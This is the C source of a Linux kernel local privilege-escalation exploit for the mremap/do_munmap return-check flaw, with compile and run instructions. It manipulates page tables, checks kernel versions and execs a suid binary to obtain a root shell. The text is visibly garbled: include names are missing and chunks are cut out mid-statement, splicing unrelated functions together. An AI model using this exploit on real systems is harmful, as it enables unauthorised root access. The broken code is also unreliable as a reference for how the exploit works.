/*
                              *
                              *      mremap missing do_munmap return check kernel exploit
                              *
                              *      gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
                              *      ./mremap_pte [suid] [[shell]]
                              *      
                               * Vulnerable kernel versions are all 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 
                              #include 

                              #include 
                              #include 
                              #include 

                              #include 


                              #define str(s) #s
                              #define xstr(s) str(s)

                              //      this is for standard kernels with 3/1 split
                              #define STARTADDR       0x40000000
                              #define PGD_SIZE        (PAGE_SIZE * 1024)
                              #define VICTIM          (STARTADDR + PGD_SIZE)
                              #define MMAP_BASE       (STARTADDR + 3*PGD_SIZE)

                              #define DSIGNAL         SIGCHLD
                              #define CLONEFL         (DSIGNAL|CLONE_VFORK|CLONE_VM)

                              #define MREMAP_MAYMOVE  ( (1UL) 65520 )
                              printf("\r    MMAP #%d  0x%.8x - 0x%.8lx", cnt, base,
                              base+PAGE_SIZE); fflush(stdout);
                              base += PAGE_SIZE;
                              prot ^= PROT_EXEC;
                              cnt++;
                              }

                              //      move PTEs & populate page table cache
                              ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,    
                              MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
                              if(-1==ret)
                              goto failed;

                              munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
                              t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,                
                              PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 
                              0);
                              if(MAP_FAILED==t)
                              goto failed;

                              *t = *((unsigned *)old_esp);
                              munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
                              printf("\n[+] Success\n\n"); fflush(stdout);
                              return;

                              failed:
                              printf("\n[-] Failed\n"); fflush(stdout);
                              _exit(0);
                              }


                              static inline void check_kver(void)
                              {
                              static struct utsname un;
                              int a=0, b=0, c=0, v=0, e=0, n;

                              uname(&un);
                              n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
                              if(n!=3 || a!=2) {
                              printf("\n[-] invalid kernel version string\n");
                              _exit(0);
                              }

                              if(b==2) {
                              if(c18 && c24)
                              v=0, e=0;
                              else
                              v=1, e=0;
                              }
                              else if(b==5 && c1) suid=av[1];
                              if(ac>2) launch=av[2];
                              argv[0] = suid;
                              get_esp();

                              //      mmap & clone & execve
                              exhaust();
                              cloneme();
                              if(!pid) {
                              my_execve();
                              } else {
                              waitpid(pid, 0, 0);
                              }

                              return 0;
                              }